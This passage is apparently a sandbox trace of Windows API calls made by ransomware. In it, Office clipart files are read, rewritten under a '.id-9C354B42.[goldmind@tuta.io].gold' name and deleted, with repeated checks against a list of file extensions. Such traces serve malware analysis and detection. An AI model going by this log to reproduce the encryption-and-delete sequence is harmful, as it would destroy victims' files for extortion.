office\\clipart\\pub60cor\\in00046_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0099.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0099.933] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.933] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0099.934] GetLastError () returned 0x0 [0099.934] ReadFile (in: hFile=0x364, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x486, lpOverlapped=0x0) returned 1 [0099.944] WriteFile (in: hFile=0x394, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x490, lpOverlapped=0x0) returned 1 [0099.945] ReadFile (in: hFile=0x364, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0099.945] WriteFile (in: hFile=0x394, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0099.945] SetEndOfFile (hFile=0x394) returned 1 [0099.946] CloseHandle (hObject=0x394) returned 1 [0099.946] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.946] SetEndOfFile (hFile=0x364) returned 1 [0099.947] CloseHandle (hObject=0x364) returned 1 [0099.947] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0099.948] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf")) returned 1 [0099.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0099.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0099.948] lstrlenW (lpString=".doc") returned 4 [0099.948] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0099.948] lstrlenW (lpString=".docx") returned 5 [0099.948] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0099.948] lstrlenW (lpString=".pdf") returned 4 [0099.948] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0099.948] lstrlenW (lpString=".xls") returned 4 [0099.948] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0099.948] lstrlenW (lpString=".xlsx") returned 5 [0099.948] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0099.948] lstrlenW (lpString=".ppt") returned 4 [0099.948] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0099.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0099.948] lstrlenW (lpString=".zip") returned 4 [0099.948] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0099.948] lstrlenW (lpString=".rar") returned 4 [0099.948] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0099.948] lstrlenW (lpString=".bz2") returned 4 [0099.948] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0099.948] lstrlenW (lpString=".7z") returned 3 [0099.948] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0099.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0099.948] lstrlenW (lpString=".dbf") returned 4 [0099.948] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0099.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0099.949] lstrlenW (lpString=".1cd") returned 4 [0099.949] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0099.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0099.949] lstrlenW (lpString=".jpg") returned 4 [0099.949] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0099.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0099.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0099.949] lstrlenW (lpString=".doc") returned 4 [0099.949] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0099.949] lstrlenW (lpString=".docx") returned 5 [0099.949] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0099.949] lstrlenW (lpString=".pdf") returned 4 [0099.949] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0099.949] lstrlenW (lpString=".xls") returned 4 [0099.949] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0099.949] lstrlenW (lpString=".xlsx") returned 5 [0099.949] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0099.949] lstrlenW (lpString=".ppt") returned 4 [0099.949] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0099.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0099.949] lstrlenW (lpString=".zip") returned 4 [0099.949] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0099.949] lstrlenW (lpString=".rar") returned 4 [0099.949] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0099.949] lstrlenW (lpString=".bz2") returned 4 [0099.949] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0099.949] lstrlenW (lpString=".7z") returned 3 [0099.949] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0099.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0099.949] lstrlenW (lpString=".dbf") returned 4 [0099.949] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0099.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0099.949] lstrlenW (lpString=".1cd") returned 4 [0099.949] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0099.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0099.949] lstrlenW (lpString=".jpg") returned 4 [0099.949] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0099.949] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0099.949] lstrlenW (lpString="IN00204_.WMF") returned 12 [0099.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0099.950] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=1848) returned 1 [0099.950] CloseHandle (hObject=0x364) returned 1 [0099.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf")) returned 0x20 [0099.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0099.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0099.950] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.950] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0099.951] GetLastError () returned 0x0 [0099.951] ReadFile (in: hFile=0x364, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x738, lpOverlapped=0x0) returned 1 [0099.973] WriteFile (in: hFile=0x394, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x740, lpOverlapped=0x0) returned 1 [0099.974] ReadFile (in: hFile=0x364, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0099.974] WriteFile (in: hFile=0x394, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0099.974] SetEndOfFile (hFile=0x394) returned 1 [0099.974] CloseHandle (hObject=0x394) returned 1 [0099.974] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.974] SetEndOfFile (hFile=0x364) returned 1 [0099.976] CloseHandle (hObject=0x364) returned 1 [0099.976] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0099.976] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf")) returned 1 [0099.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0099.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0099.977] lstrlenW (lpString=".doc") returned 4 [0099.977] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0099.977] lstrlenW (lpString=".docx") returned 5 [0099.977] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0099.977] lstrlenW (lpString=".pdf") returned 4 [0099.977] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0099.977] lstrlenW (lpString=".xls") returned 4 [0099.977] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0099.977] lstrlenW (lpString=".xlsx") returned 5 [0099.977] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0099.977] lstrlenW (lpString=".ppt") returned 4 [0099.977] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0099.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0099.977] lstrlenW (lpString=".zip") returned 4 [0099.977] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0099.977] lstrlenW (lpString=".rar") returned 4 [0099.977] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0099.977] lstrlenW (lpString=".bz2") returned 4 [0099.977] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0099.977] lstrlenW (lpString=".7z") returned 3 [0099.977] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0099.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0099.977] lstrlenW (lpString=".dbf") returned 4 [0099.977] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0099.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0099.977] lstrlenW (lpString=".1cd") returned 4 [0099.977] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0099.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0099.977] lstrlenW (lpString=".jpg") returned 4 [0099.977] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0099.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0099.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0099.977] lstrlenW (lpString=".doc") returned 4 [0099.977] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0099.977] lstrlenW (lpString=".docx") returned 5 [0099.977] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0099.977] lstrlenW (lpString=".pdf") returned 4 [0099.978] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0099.978] lstrlenW (lpString=".xls") returned 4 [0099.978] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0099.978] lstrlenW (lpString=".xlsx") returned 5 [0099.978] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0099.978] lstrlenW (lpString=".ppt") returned 4 [0099.978] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0099.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0099.978] lstrlenW (lpString=".zip") returned 4 [0099.978] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0099.978] lstrlenW (lpString=".rar") returned 4 [0099.978] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0099.978] lstrlenW (lpString=".bz2") returned 4 [0099.978] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0099.978] lstrlenW (lpString=".7z") returned 3 [0099.978] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0099.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0099.978] lstrlenW (lpString=".dbf") returned 4 [0099.978] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0099.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0099.978] lstrlenW (lpString=".1cd") returned 4 [0099.978] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0099.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0099.978] lstrlenW (lpString=".jpg") returned 4 [0099.978] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0099.978] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0099.978] lstrlenW (lpString="IN00343_.WMF") returned 12 [0099.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0100.016] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=1892) returned 1 [0100.016] CloseHandle (hObject=0x198) returned 1 [0100.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf")) returned 0x20 [0100.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0100.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0100.016] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0100.016] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0100.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0100.045] GetLastError () returned 0x0 [0100.045] ReadFile (in: hFile=0x198, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x764, lpOverlapped=0x0) returned 1 [0100.046] WriteFile (in: hFile=0x364, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x770, lpOverlapped=0x0) returned 1 [0100.047] ReadFile (in: hFile=0x198, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0100.047] WriteFile (in: hFile=0x364, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0100.047] SetEndOfFile (hFile=0x364) returned 1 [0100.047] CloseHandle (hObject=0x364) returned 1 [0100.047] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0100.047] SetEndOfFile (hFile=0x198) returned 1 [0100.049] CloseHandle (hObject=0x198) returned 1 [0100.049] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0100.049] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf")) returned 1 [0100.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0100.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0100.050] lstrlenW (lpString=".doc") returned 4 [0100.050] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0100.050] lstrlenW (lpString=".docx") returned 5 [0100.050] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0100.050] lstrlenW (lpString=".pdf") returned 4 [0100.050] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0100.050] lstrlenW (lpString=".xls") returned 4 [0100.050] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0100.050] lstrlenW (lpString=".xlsx") returned 5 [0100.050] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0100.050] lstrlenW (lpString=".ppt") returned 4 [0100.050] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0100.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0100.050] lstrlenW (lpString=".zip") returned 4 [0100.050] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0100.050] lstrlenW (lpString=".rar") returned 4 [0100.050] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0100.050] lstrlenW (lpString=".bz2") returned 4 [0100.050] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0100.050] lstrlenW (lpString=".7z") returned 3 [0100.050] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0100.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0100.050] lstrlenW (lpString=".dbf") returned 4 [0100.050] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0100.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0100.050] lstrlenW (lpString=".1cd") returned 4 [0100.050] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0100.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0100.050] lstrlenW (lpString=".jpg") returned 4 [0100.050] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0100.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0100.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0100.050] lstrlenW (lpString=".doc") returned 4 [0100.050] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0100.050] lstrlenW (lpString=".docx") returned 5 [0100.050] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0100.050] lstrlenW (lpString=".pdf") returned 4 [0100.050] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0100.050] lstrlenW (lpString=".xls") returned 4 [0100.050] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0100.050] lstrlenW (lpString=".xlsx") returned 5 [0100.050] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0100.050] lstrlenW (lpString=".ppt") returned 4 [0100.050] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0100.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0100.050] lstrlenW (lpString=".zip") returned 4 [0100.050] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0100.050] lstrlenW (lpString=".rar") returned 4 [0100.050] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0100.050] lstrlenW (lpString=".bz2") returned 4 [0100.050] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0100.050] lstrlenW (lpString=".7z") returned 3 [0100.050] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0100.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0100.050] lstrlenW (lpString=".dbf") returned 4 [0100.051] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0100.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0100.051] lstrlenW (lpString=".1cd") returned 4 [0100.051] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0100.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0100.051] lstrlenW (lpString=".jpg") returned 4 [0100.051] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0100.051] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0100.051] lstrlenW (lpString="IN00956_.WMF") returned 12 [0100.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0100.051] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=1256) returned 1 [0100.051] CloseHandle (hObject=0x198) returned 1 [0100.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf")) returned 0x20 [0100.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0100.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0100.052] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0100.052] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0100.052] CreateFileW (lpFileName="C:\\Program 